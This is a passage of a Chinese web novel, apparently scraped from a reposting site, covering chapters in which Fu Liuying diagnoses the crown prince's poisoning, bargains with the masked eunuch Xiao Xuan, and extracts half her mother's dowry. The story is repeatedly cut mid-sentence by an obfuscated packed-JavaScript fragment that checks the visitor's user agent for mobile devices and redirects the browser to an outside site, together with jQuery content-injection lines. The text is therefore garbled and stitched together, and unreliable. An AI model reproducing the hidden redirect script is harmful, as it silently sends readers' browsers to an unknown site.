l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025980|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯。”萧玹扫了一眼淡淡的开口。 “南疆近日的动作越发频繁了，看来南疆不太平。”太子倒了一杯菊花茶，温润如玉的眉眼看不出任何的情绪起伏。 萧玹神色未变只是冷笑了一声，“自己家的破事都没有解决好，还敢来京城兴风作浪。” “听说这次南疆圣女也来了，只是不知这一批被抓的人里面有没有她。” 萧玹往楼下扫了一眼，“已经被抓了。” 傅流萤静静的听着二人的谈话。 目光还看着楼下的那一群犯人。 那个女子抬头瞬间，傅流萤清楚地看到她颈侧若隐若现的蛇形图腾。 这好像是南疆巫族圣女一脉的标记！ 她就是南疆圣女？ 萧玹居然早就知道了。 傅流萤转过身看着萧玹漫条斯里喝茶的样子，总觉得一切好像都在他的掌握之中。 前世她在地牢第四年，曾见过一个同样标记的女囚。 那人后来成了傅莽的…… “傅小姐？”萧玹的声音在身后响起。 傅流萤迅速调整表情，转身时已是温婉笑容，“看着街上热闹，时走神了，还请太子殿下见谅。” 萧玹目光深沉地看她一眼，没再多问。 太子笑意盈盈，嗓音温润，“无爱，傅小姐喜欢看可以看个够。” 傅流萤重新落座后，太子忽然正色道，“傅小姐，实不相瞒，孤今日约见，除了想认识阿玹的未婚妻外，还有一事相求。” “殿下请讲。” 傅流萤大概能猜到是为什么。 太子殿下体弱多病，所有的太医都断言活不过二十九。 如今太子殿下已经二十有余，也就是说他还剩下不到五年的寿命。 这对于任何一个人来说都是一件非常残酷的事情，更何况他还不是普通人，是储君，是未来的天子。 “孤自幼体弱，太医院束手无策。”太子轻咳两声，“听闻傅小姐医术高明，不知可否为孤诊脉？” 傅流萤看向萧玹，后者微不可察地点了点头，她这才起身行礼，“臣女惶恐。若殿下不嫌粗陋，自当尽力。” 第五十八章 太子之** 太子伸出手腕。 傅流萤的目光落在了他雪白纤细的手腕上。 微微皱了皱眉头。 这手腕不像是一个正常男人有的。 太细了。 就和女子的手腕一样。 傅流萤三指搭脉，闭上了眼睛。 片刻后，她眉头越皱越紧。 太子的脉象虚浮无力，时断时续，分明是…… 她心惊不已，睁开眼睛的时候对上萧玹那双灼热的眼睛。 傅流萤的心跳漏了一拍。 她收回手。 太子的目光落在了傅流萤的身上，“傅小姐，情况如何？” 傅流萤沉默了片刻，谨慎开口道，“殿下是否常年心悸气短，每逢阴雨天便关节疼痛，且子时前后常有胸口窒息之感？” 太子那双温润的桃花眼底闪过了一丝惊讶，“正是。” “此非寻常体弱。”傅流萤压低声音，“殿下中的是缠丝毒，毒性已深入五脏六腑。” 太子听得此毒并不意外好像早就知道一样。 傅流萤也斟酌着开口，“若再不医治，恐怕……”她没说完，但意思已经明了。 雅间内一时寂静。 萧玹面具下的脸色阴沉得可怕。 太子反倒笑了，“傅小姐果然厉害，太医院那群庸医查了十几年，都没看出是**，只说是娘胎里带来的弱症。” 傅流萤不卑不亢，“此毒罕见，且症状与体弱相似，很容易误诊。” “能解吗？“萧玹突然问，声音冷得像冰。 傅流萤沉吟片刻，“能解是能解，但是这药材……” 太子眼中燃起希望，“傅小姐需要什么，尽管开口。” 傅流萤正要回答，雅间门突然被推开。 一个侍卫匆忙进来，在太子耳边低语几句。 太子脸色骤变，看向傅流萤，“傅小姐，孤还有些要紧事，先走了等下次有机会再和傅小姐详谈。” 萧玹随即起身，“殿下，我送您回去。” 太子摆了摆手，“不用，你陪好傅小姐就行。” 太子离开之后，雅间内只剩傅流萤与萧玹还有两个丫鬟，气氛顿时变得微妙起来。 萧玹目光落下傅流萤的身上，冰冷的眼底带着一抹淡淡的嘲讽，“编得不错。” 傅流萤垂下眼眸，淡淡道，“既然督主觉得流萤是胡编乱造，那就这样觉得吧，流萤也不想多解释什么。” 萧玹突然伸手捏住她的下巴，迫使她抬起头来，“傅流萤，你别想在本督面前耍把戏。” 两个丫鬟见自家小姐被萧玹扣住顿时有些着急的想要上前。 傅流萤抬了抬手，淡淡的开口，“你们去门口守着，没有我的命令不许进来。” “小姐……”两个丫鬟异口同声。 傅流萤抬了抬手，“现在你们连我的话都不听了吗？出去守着。” 春芽和夏婵面面相觑。 最后只能退了出去守在了门口。 傅流萤毫不畏惧地迎上他的目光，“督主已经在将军府布置了那么多人，恐怕整个将军府的动静都逃不过督主的眼睛吧？流萤又怎么敢在督主手底下耍心计？” 萧玹冷笑一声，“你知道就好。” 傅流萤笑语盈盈的看着他，可笑意并不达眼底，“督主明鉴，流萤确实有所隐瞒，但每个人都有不愿为人知的秘密，不是吗？就连督主也不例外。” 她意有所指地看向萧玹的面具，后者眸光一寒。 “傅流萤，你最好记住自己的身份。有些秘密，知道得太多对你没好处。” 他指尖力道不轻，傅流萤却毫不退缩，直视他的眼睛，“督主放心，流萤只关心与自身有关的秘密，至于其他……”她轻轻挣开他的钳制，“我对督主的过去没兴趣。” 萧玹盯着她看了许久，突然冷笑一声，“你今日表现不错，太子很欣赏你。” “那督主可满意？“傅流萤反问。 “尚可，没有丢本督主的脸。” 萧玹冷冷开口，而是从怀中取出一枚令牌放在桌上。 “城南有处宅院，可作医馆之用。每月初五、二十可去义诊，其余时间不得擅自离府。” 傅流萤没想到他竟真的同意，还准备了宅院，一时有些愕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025981|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然。 “督主这是……” “别多想。”萧玹冷声打断，“太子既然开了口，我不过是顺水推舟。再者……”他意味深长地看了她一眼，“本督也好奇，你究竟想做什么，傅流萤，本督可不相信你真的想要开医馆悬壶救世，你最好不要有什么把柄被本督抓到，否则本督第一个饶不了你。” 傅流萤收起令牌，盈盈一拜，“不敢，流萤就在督主的眼皮子底下又能翻出什么样的花？多谢督主，流萤定不负所托。” “记住。”萧玹起身，居高临下地看着她，“无论你玩什么把戏，都逃不过我的眼睛。” 傅流萤仰头与他对视，忽然展颜一笑：“督主多虑了。流萤既已许给督主，自然一心一意。只是……”她顿了顿，声音低了几分，“督主可否也给予流萤些许信任？” 萧玹眸光微动，没有回答。 窗外阳光透过纱帘，在他面具上投下斑驳光影，让人看不清他的表情。 厢房内的气氛瞬间沉寂了下来。“太子殿下的毒，你怎么看？” 傅流萤思索片刻，“这毒在太子体内已经很多年了，怕是刚生下来不久就被人下了毒，有人想要神不知鬼不觉地除掉太子。” 背后的人居然用这种法子可想而知心思到底有多毒。 既能神不知鬼不觉又能达到目的，一箭双雕。 一入宫门深似海。 果然所言不虚。 前朝局势错综复杂**也争斗不断。 傅流萤的眸色暗了暗。 太子这个位置，多少人盯着看着。 当今皇上，一共有十八个皇子公主。 除了六位公主之外还剩十二个皇子。 也就是说除了太子殿下之外还有十一位皇子对太子殿下的位置虎视眈眈。 萧玹面具下的眼神一凛，“你刚才说到有解毒之法？” “有是有，就是……”傅流萤欲言又止。 “就是什么？” 傅流萤直视他的眼睛，“能。但需要药材，时间和……代价。” 萧玹半眯着眼睛，声音低沉透着危险，“需要什么？” 第五十九章 趁机提要求 “雪灵芝，千年血参，还有……”傅流萤深吸一口气，“南疆巫族的圣水。” 萧玹瞳孔骤缩。 这三样东西，每一样都举世难寻。 尤其是巫族圣水，非圣女不能取…… 而现在，那圣女已经被抓了起来。 “那代价呢？”萧玹的目光落在了傅流萤的身上，这女人惯会顺杆子往上爬。 他已经不是第一次见识到了。 傅流萤笑了，“督主爽快，我只需要督促答应我三件事情即可。” “三件事情？傅流萤，你可真敢提，你凭什么觉得本督会答应？” “督主会答应的。”傅流萤嗓音坚定，“毕竟，比起我的这三个要求太子殿下的命可重要多了。” “你在威胁本督？” “不敢，流萤怎么敢威胁督主呢，只是，督主既然请流萤来治疗，那是不是也应该付出相应的诊金呢？” 萧玹沉思了片刻，这才缓缓的开口道，“本傅答应你，你的要求是什么？” “第一，督主安插的人都从芳华院撤出去，第二，我要今日街上那个南疆女囚。” 萧玹面具下的眼睛寒光凛冽“你认识她？“ “不认识。”傅流萤坦然道，“但她颈侧的图腾，与我曾在医书上见过的巫族标记一致，要解缠丝毒，非圣水不可，只有她活着才能拿到圣水。” 萧玹沉默良久。 他看着傅流萤的眼底情绪复杂，突然冷笑，“傅流萤，你究竟是谁？知晓南疆毒术，又知晓南疆的图腾。” “督主的未婚妻啊。”傅流萤嫣然一笑，眼中却无半分温度，“也是各取所需的……合作伙伴。” 从一开始她依附于萧玹，现在萧玄离不开她。 他们从一开始的不对等关系变成了平等关系。 傅流萤的胆子也变大了。 窗外阳光正好，照在二人身上，却驱不散那一室寒意。 “好一个合作伙伴。” 萧玹轻笑，“那你第三个要求是什么？” “这第三个要求嘛……” 傅流萤的话锋一转，“暂时还没有想好等什么时候想好了再和督主说吧，督主男子汉大丈夫想必也不会差我一个小女子一个小小的要求。” “男子汉大丈夫？”萧玹就像是听到了好笑的笑话一般，“傅小姐，怕不是忘了我是个太监，太监又如何当得男子汉大丈夫？” 傅流萤皱着眉，抬头看着萧玹，颇有些不赞同，“督主此言差矣，是不是男子汉大丈夫，不在于他身体是健康还是有缺陷，而在于他成就的业做过的事。” “督主虽然身体有残缺，可是在流萤的心里，督主担得上男子汉大丈夫这六个字。” 她的声音清晰，一字一句仿佛敲击在了萧玹的心头上。 自从他入宫做太监以来，从来没有人跟他说过这样的话。 没有人觉得他是真正的男子汉大丈夫。 而此时此刻他却是从傅流萤的嘴里听到了。 萧玹的眸色深了深，眼底好像闪过了一丝的波动，但转瞬即逝，很快又恢复了那双平静无波的模样。 “傅小姐还真是能言善辩，本督答应你了，今日本傅的人便会从芳华院撤出去，至于这南疆圣女恐怕还要多等一段时间。” “无碍，只要人活着就行。” 萧玹盯着她那双明亮的眼眸忽然弯下腰，“那本督就等着傅小姐提第三个要求了。” 傅流萤往后退了一步，和萧玹拉开了距离。 萧玹幽幽的看了她一眼，转身离开。 春芽和夏蝉赶紧跑了进来，确认傅流萤没事之后这才放心。 回府的路上，傅流萤一直在思索今日的种种。 太子**、南疆囚犯还有萧玹的态度……这一切似乎都有某种联系，但她一时还理不清头绪。 刚回到芳华院，秋月和冬雪就迎了上来，“小姐，您可算回来了！” 傅流萤摘下帷帽，“出什么事了？” “夫人派人来传话，说让您回来后立刻去长春阁一趟。”秋月低声道。 冬雪补充，“来传话的嬷嬷态度很不好，说若是小姐不去，夫人就要亲自来请了。” 傅流萤冷笑一声，“看来母亲饿了两天，还是没有想明白啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031243|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，既如此那就去看看吧。” 她换了身衣裳，带着春芽往长春阁走去。 一路上，府中下人看她的眼神都带着几分敬畏。 自从傅明雪被送进家庙，傅流萤在府中的地位明显不同了。 大家或多或少都意识到她已经不是以前那个软弱可欺的大小姐了。 长春阁内，柳飞燕坐在主位上，脸色苍白，眼下挂着浓重的青黑。 见傅流萤进来，她眼中闪过一丝恨意，但很快又强压下去。 “母亲。”傅流萤规规矩矩地行礼，“听说您找我？” 柳飞燕深吸一口气，勉强挤出一丝笑容，“流萤啊，来，坐母亲身边。” 傅流萤看着柳飞燕身旁的空位。 眸色暗了暗，原本那是专属于傅明雪的位置。 她这个亲生女儿从来都没有机会坐过。 傅流萤不动声色地坐下，“母亲气色不太好，可是身子不适？” 柳飞燕眼中闪过一丝恼怒，但很快又恢复平静，“为娘是担心你妹妹……明雪从小娇生惯养，哪里受得了家庙的苦？” 果然是为了傅明雪而来。 傅流萤的眼底划过了一丝的冷意。 “母亲多虑了。”傅流萤冷声道，“家庙清净，正好让妹妹修身养性。再说，这是父亲的命令，我们也不好违抗。” 柳飞燕的手指紧紧攥住帕子，“流萤，你与九千岁的婚事在即，不如去跟你父亲说说，让明雪回来参加你的大婚？姐妹一场，她一定很想亲眼看着你出嫁。” 傅流萤心中冷笑。 柳飞燕这是想借她的婚事把傅明雪弄回来？ “母亲，妹妹犯了错，受罚是应该的。”傅流萤故作忧愁，“若是这么快就放她回来，父亲那边恐怕不太好交代。” “你父亲最疼你了！”柳飞燕急切地说，“只要你开口，他一定会答应的！” 最疼她？ 柳飞燕为了傅明雪还真是什么话都说得出来。 傅流萤垂眸不语。 柳飞燕见状，突然起身，竟是要给傅流萤跪下，“流萤，就当母亲求你了！” 第六十章 要一半的嫁妆 傅流萤冷冷地看着柳飞燕缓缓屈膝的动作，眼中闪过一丝讥讽。 就在柳飞燕的膝盖即将触地的一瞬间，她突然伸手扶住了对方的手臂。 “母亲这是要折煞女儿吗？”傅流萤的声音轻柔，却带着不容忽视的冷意，“身为母亲却跪子女，传出去外人该说女儿不孝了。” 柳飞燕的身体僵了僵，眼中闪过一丝难堪，却仍固执地保持着下跪的姿势。 “流萤，就当母亲求你了……明雪她从小娇生惯养，哪里受得了家庙的苦？” 傅流萤松开手，后退一步，看着柳飞燕真的跪在了自己面前。 她忽然觉得这一幕荒谬至极。 前世她被关在地牢十年，柳飞燕从未去看过她一次。 而今为了一个养女，这位高贵的将军夫人竟能放下身段向她下跪。 真是可笑可恨。 傅流萤冰冷的眼底忽然翻涌着强烈的恨意。 这就是她的亲生母亲。 傅流萤闭了闭眼睛，很快就压制住那股情绪，再睁眼时眼底只有一片清冷。 “母亲是真的想放傅明雪出来？”傅流萤微微俯身，声音轻得只有两人能听见，“无论付出多大代价都愿意？” 柳飞燕猛地抬头，眼中闪过一丝警惕，但很快又被急切取代。 她坚定地点了点头，“只要能让你妹妹回来……” 傅流萤直起身子，唇角勾起一抹若有若无的笑意，“我确实有个法子能救出明雪妹妹，只是……”她顿了顿，目光扫过柳飞燕发间的金钗，“需要母亲付出一点代价。” “什么代价？”柳飞燕的声音不自觉地提高了几度。 傅流萤不紧不慢地走到主位坐下，端起茶盏轻轻吹了吹浮沫，“我不日就要嫁入督主府，可这嫁妆……”她抬眼看向柳飞燕，“将军府迟迟没有给我嫁妆清单，不知母亲作何打算？” 柳飞燕的脸色变了变，扶着茶几站起身，“这……将军府近来开支大，一时凑不出那么多嫁妆，再说，萧督主送来的聘礼已经足够丰厚……” “哦？”傅流萤放下茶盏，发出一声轻响，“所以母亲的意思是，不打算给我准备嫁妆了？” 柳飞燕避开她的目光：“我不是这个意思……只是……” “看来母亲说的什么代价都可以付出是假的。” 傅流萤站起身，裙摆如水般滑落，“既然母亲不想救傅明雪，那就算了吧。” 她转身就走，身后传来柳飞燕急促的脚步声。 “站住！“柳飞燕的声音带着压抑的怒气，“你想要怎样？” 傅流萤停下脚步，却没有回头，“我记得母亲当年嫁入将军府时，有足足八十一抬嫁妆，其中包含城南十五间铺子、城东五十亩良田，还有外婆传下来的那套红宝石头面……”她缓缓转身，“我作为母亲唯一的亲生女儿，母亲为我添置嫁妆也是应该的吧？” 柳飞燕的脸色瞬间变得煞白，“你……你要多少？” “一半。”傅流萤轻描淡写地说，“我是母亲唯一的女儿，要母亲嫁妆的一半，很合理吧？” “你！”柳飞燕气得浑身发抖，“你这是趁火**！” 傅流萤笑了笑：“母亲言重了，若不愿意，大可以继续让傅明雪在家庙修身养性。”她看了看窗外的日光，“我给母亲一刻钟考虑。” 柳飞燕不想给嫁妆，又舍不得傅明雪，被傅流萤的态度气到了。 她的指甲深深掐入掌心，“傅流萤！你怎么能这么狠心？明雪是你妹妹！” “妹妹？”傅流萤突然冷笑一声，“她是我哪门子的妹妹？同父同母？同父异母？还是……”她的目光锐利如刀，“同母异父？” 柳飞燕气的往后退了两步，容佩连忙扶住她，却见柳飞燕指着傅流萤，气得说不出话来，“你……你这个大逆不道的……” “既然在母亲心里，我就是个大逆不道的人……”傅流萤理了理袖口，“那我还是不留在这里碍母亲的眼了。” 眼看傅流萤真的要离开，柳飞燕急了，连忙给容佩使了个眼色。 容佩会意，快步上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031244|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前拦住傅流萤，“大小姐留步！” 傅流萤停下脚步，指尖绕着鬓边一缕碎发，淡淡的开口，“母亲想明白了？” 柳飞燕闭了闭眼，胸口还是剧烈起伏，最终还是软了态度，答应了傅流萤。 “只要你能把明雪接回来……一半嫁妆，我给你。” 傅流萤怔了怔，没想到柳飞燕真的会答应。 她看着柳飞燕痛心疾首的模样，忽然觉得可笑。 为了一个养女，柳飞燕竟能做到这种地步。 而对她这个亲生女儿，却连最基本的关心都吝于给予。 “有时候……”傅流萤的声音很轻，带着一丝自己都没察觉的颤抖，“我真的怀疑，我到底是不是母亲亲生的？” 柳飞燕猛地抬头。 “对一个养女尚且这么尽心尽力。”傅流萤直视柳飞燕的眼睛，“为何偏偏对我，从来没有尽过一个母亲的责任？” 可能是她眼底的悲伤太重，柳飞燕像是被什么刺中了，张了张嘴想要说什么。 但傅流萤已经果断转身，“既然母亲答应给一半嫁妆，就尽快拟好清单，写清楚数目和名称。”她的声音恢复了冷静，“越快越好，否则……我不保证傅明雪还要在家庙受多久的苦。” 柳飞燕听着这番话，刚刚升起的那一抹愧疚瞬间消失的无影无踪，取而代之的是浓浓的愤怒。 她被这番话气得几乎晕厥，指着傅流萤的背影骂道，“逆女！你这个逆女！“ 傅流萤头也不回地离开了长春阁。 春芽小跑着跟上她，担忧地看着自家小姐紧绷的侧脸，“小姐……” “我没事。”傅流萤的声音平静得可怕，从小到大这样的事情经历的还少么？ 她早就已经见怪不怪了。 “去告诉夏婵，准备接收夫人的嫁妆。” —— 长春阁内，柳飞燕摔了一整套茶具才勉强平息怒火。 容佩默默收拾着碎片，叹了口气，“夫人，您对大小姐……确实太苛刻了。” 第六十一章 您对大小姐确实苛刻了 柳飞燕不可置信地看着从小照顾自己的奶娘，“连你也这么说？” 容佩将碎片放在托盘里，轻声道，“老奴是看着夫人长大的。有些话，别人不敢说，老奴不得不说……” 她抬头看向柳飞燕，“不管怎么说，大小姐才是夫人您的亲生女儿啊。” “亲疏有别……”容佩的话像一记重锤敲在柳飞燕心上，“可这些年，夫人您何曾照顾过大小姐？反而把明雪小姐视若珍宝……” 柳飞燕的脸色白了白，踉跄后退两步，跌坐在椅子上。 她想起傅流萤出生那日，自己难产差点丧命，而傅莽却在外征战，连女儿出生都没回来看一眼。 是她硬生生的在鬼门关走了一趟才辛辛苦苦把流萤生下来的。 当时生下流萤之后，她很开心能有个女儿。 流萤生下来的时候也极其的可爱，粉雕玉砌的。 她发誓要把这世界上最好的东西都给她，让她无忧无虑，快乐的成长。 可是后来傅莽从战场上带回了明雪那个柔弱又小心翼翼的孩子，不知不觉就分走了她对流萤的宠爱。 每当看到明雪那双可怜巴巴妾深深的眼眸时，她总是忍不住心软想对明雪好一些，更好一些。 她想着流萤已经拥有更多东西了，从小就锦衣玉食，父母双全。 可是明雪不一样。 她从小就在战场上过着提心吊胆的日子，更重要的是明铮还为了救傅莽没了性命。 所以她才想要竭尽全力的补偿明雪。 “我真的做错了吗？”柳飞燕喃喃自语。 容佩没有回答，只是轻声道，“夫人现在可要拟嫁妆单子？” 柳飞燕摆摆手，像是突然老了十岁，“拟吧……尽快，我不想让明雪在家庙受苦。” 当天傍晚，柳飞燕亲自打开了尘封多年的嫁妆小库房。 不知是傅流萤那番话起了作用，还是容佩的劝说起效，她在答应给的一半嫁妆基础上，又添了十几样价值连城的首饰，以及三间位于繁华地段的铺子。 柳飞燕看着她的嫁妆被装进了箱子里，一箱一箱整齐的放好。 小库房瞬间空了一大半不止，心疼的都在滴血。 —— 装箱完之后，容佩又清点了一遍，确定无误之后，这才盖上了印章，把嫁妆单子送去芳华院。 芳华院内，傅流萤看着容佩送来的嫁妆单子，眼底闪过一丝惊讶。 “小姐，您想什么呢这么入神？”春芽好奇地问。 傅流萤合上单子，“没什么。” 她将单子交给夏婵收好，转身走向窗前。 窗外，夕阳将天空染成血色。 傅流萤不自觉地盯着，一时之间看得入了迷。 柳飞燕这是在给她补偿吗？是因为她那番质问吗？ 傅流萤的眸光微闪，眼底映衬着那血红的夕阳。 残阳如血，就连眼底都似乎染上了一层的猩红。 可惜啊…… 她这十几年来受的委屈，前世在地牢十年的折磨，岂是这点东西能补偿的？ “现在才想起来补偿……”傅流萤轻声自语，“已经太迟了。” 春芽没听清，“小姐，您说什么？” 傅流萤摇摇头，转身时脸上已恢复平静，“去准备一下，明日我们去看看那间萧玹给的医馆。” 她望向窗外的最后一瞥，恰好看见一只孤雁划过血色天空，形单影只，却倔强地飞向远方。 那一瞬间，傅流萤感觉那只孤雁就像是她自己。 春芽点了点头退下后，夏婵走上前来，眉头紧蹙：“大小姐，真的要把傅明雪接回来吗？” 傅流萤转过身，唇角勾起一抹意味深长的笑，“母亲这一半的嫁妆都给了，不把她接回来，那岂不是太说不过去了？” 夏婵绞着手中的帕子，犹豫道，“可是……傅明雪一回来，肯定少不了要给小姐找绊子。这府上好不容易清静几天……” “兵来将挡，水来土掩。”傅流萤轻抚窗棂上新发的嫩芽，眼中闪过一丝冷光，“况且傅明雪也翻不出什么浪来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045921|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她转身走向书案，指尖轻点桌面，“眼见着春日围猎的日子就要到了，等傅明雪回来，你想办法把二皇子也会去狩猎的消息传给她。” 夏婵眼睛一亮，随即会意，“小姐的意思是……” 傅流萤眸色渐深，如同幽潭，“很快傅明雪就会发现，这将军府的人靠不住，她一向眼高于顶，这些年父亲和母亲对她又极其宠爱，想必寻常大臣家的公子她也瞧不上。” “小姐是说，她会盯上二皇子？”夏婵压低声音。 “太子殿下常年缠绵病榻，连活着都难，更别提娶妻生子。”傅流萤冷笑，“二皇子地位尊崇，在一众的皇子中除了太子殿下是最有可能继位的人，而他又正值适婚年龄，傅明雪岂会放过这个机会？” 上次的春花宴，傅明雪打扮的那么花枝招展，不就是想入了皇子的眼么？ 只可惜最后偷鸡不成反蚀把米。 夏婵点点头，“奴婢明白了，等傅明雪一回来，奴婢就会把这个消息准确无误地传达到她耳朵里。” 傅流萤满意地看了她一眼，“准备笔墨吧。” 待夏婵研好墨，傅流萤提笔写下几行娟秀小字。 信中除了提及医馆筹备事宜，还特意询问了南疆圣女的下落。 她将信封好，交给夏婵，“让秋月亲自送到督主府，务必交到萧玹手上。” 傅流萤的话音刚落，窗外突然传来一道低沉冷冽的声音，“傅小姐若是想给本督送东西，知会一声就好，何必派**张旗鼓去督主府？” 这声音如同寒冰一般，惊得傅流萤指尖一颤，刚封好的信笺差点掉落。 她猛地抬头，只见窗棂外一道黑影闪过，下一刻，萧玹已经站在了她的闺房中央。 傅流萤看着他整个行云流水般的动作，一时之间不知道该哭还是该笑。 烛火摇曳，映照着萧玹那张银质面具，折射出冷冽的光。 “督主？” 傅流萤咬了咬牙，强压下心头惊骇，迅速摆了摆手示意夏婵退下，“你们先下去。” 第六十二章 半夜三更擅闯人闺房的变态 夏婵担忧地看了自家小姐一眼，又畏惧地瞥了瞥那位不请自来的九千岁，最终还是低头退了出去，轻轻带上了房门。 待丫鬟们的脚步声远去，傅流萤这才抬头看向一身黑衣的萧玹，冷冷地笑了笑，“督主就这么爱偷听人的墙角吗？” 她故意放慢语速，每个字都咬得极重，“督主真把这将军府当成了督主府的后花园了不成？” 萧玹似乎真的认真思考了一下，面具下的薄唇微勾，“好像也未尝不可。” 傅流萤忍不住翻了个白眼，强忍着怒气问道，“不知督主深夜前来，又是所谓何事？” 她在心里暗暗吐槽。 这阎王半夜三更不睡觉，跑来女子闺房，莫不是有什么见不得人的癖好？ 萧玹仿佛看穿了她的心思，突然一步上前，修长的手指捏住她的下巴，迫使她抬头与自己对视，“怎么，傅小姐不欢迎本督来？” 他的指尖冰凉，如同毒蛇的信子，激得傅流萤后背一阵发寒。 她发现萧玹似乎格外喜欢捏着她的下巴。 几乎每次都喜欢捏着问她问题。 傅流萤强扯出一抹笑容，“怎么会呢？臣女当然是求之不得。” 萧玹看着傅流萤眼底的勉强冷哼了一声，主动松开了她。 傅流萤微微偏头，抬头看着萧玹，“只是人多眼杂，臣女也是为了两个人的名声考虑。” 萧玹大袖一挥，语气中带着几分的桀骜不驯，“本督从来不在乎那些虚名。” 傅流萤刚想开口反驳，萧玹又道，“既然傅小姐不日就要嫁入都督府，那最好也学一学本督，不必太过在意世俗眼光。” 他顿了顿，意味深长地补充，“毕竟，你我本就不是寻常夫妻。” 这话如同一盆冷水浇在傅流萤头上。 她暗自咬了咬唇，懒得与他争执，只是福了福身，淡淡地说了一句，“是。” 萧玹似乎对她的顺从并不满意，冷哼一声，自顾自地走到她方才坐过的椅子上坐下。 他随手拿起桌上那封尚未送出的信，在指尖转了转，“傅小姐的信，是写给本督的？” 萧玹捏着那封尚未送出的信，修长的手指在烛光下泛着冷玉般的光泽。 他指尖轻轻一挑，薄薄的信封便无声地裂开，露出里面字迹清秀的信笺。 目光扫过，面具下的唇角几不可察地勾起一丝玩味的弧度。 “傅小姐对那南疆圣女，倒是格外上心？”他抬眼，视线如冰锥般刺向傅流萤。 傅流萤心头一凛，面上却波澜不惊，只微微屈膝行了个礼，声音平稳如水。 “督主误会了，臣女对圣女本人并无半分兴趣，所求的，不过是她身上可能取到的圣水罢了。” “太子殿下体内缠丝毒深入肺腑，非南疆巫族圣水为引不可解，这一点，督主心中应当比流萤更清楚。” 傅流萤顿了顿，迎上萧玹审视的目光，不卑不亢，“与其说臣女在意圣女，不如说，臣女更在意如何拿到能救太子殿下性命的那味药引。” 烛火噼啪一声轻响，落在萧玹的眼底，他眼底的光随着烛火的晃动也忽明忽暗。 萧玹沉默片刻，指尖在硬木桌面上轻轻叩击，发出规律的敲击声。 落在人的心底，令人心头发紧。 “她的身份，远非一个圣女这般简单。”萧玹的声音沉了下去，带着一种无形的压迫，“她和南疆皇室还有千丝万缕的关系，眼下，本督还无法将她交到你手上。” 傅流萤眸光微闪，似乎并不意外。 “流萤明白。事关重大，督主自有考量。只是，太子殿下的毒，拖得越久，难度与风险便越大。圣水固然重要，但雪灵芝与千年血参同样可遇不可求。” “药材之事，本督自会派人全力搜寻。”萧玹打断她，语气不容置疑，“傅小姐只需安心备嫁，至于旁的事，不必费心。”他话中带着一丝不易察觉的警告。 傅流萤垂下眼帘，掩去眸底一闪而过的冷嘲。 费心？ 她才懒得费心。 那些动辄价值连城、可遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045922|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可求的药材，掏空整个将军府也未必能寻到一味。 她巴不得萧玹自己揽下这烫手山芋。 房间里的空气仿佛凝滞了一瞬。 萧玹的目光重新落回傅流萤身上，锐利得仿佛能看穿一切。 他忽然话锋一转，“上次傅莽将你唤去书房，可是让你监视本督？” 傅流萤的心猛地一沉。 她知晓萧玹在将军府眼线遍布，却没想到竟渗透得如此之深，连傅莽在书房与她密谈的内容都一清二楚。 这绝非寻常丫鬟小厮能探听到的…… 傅莽身边，甚至是他视为心腹的人里，恐怕早就被萧玹布下了钉子！ 一股寒意顺着脊椎攀爬而上。 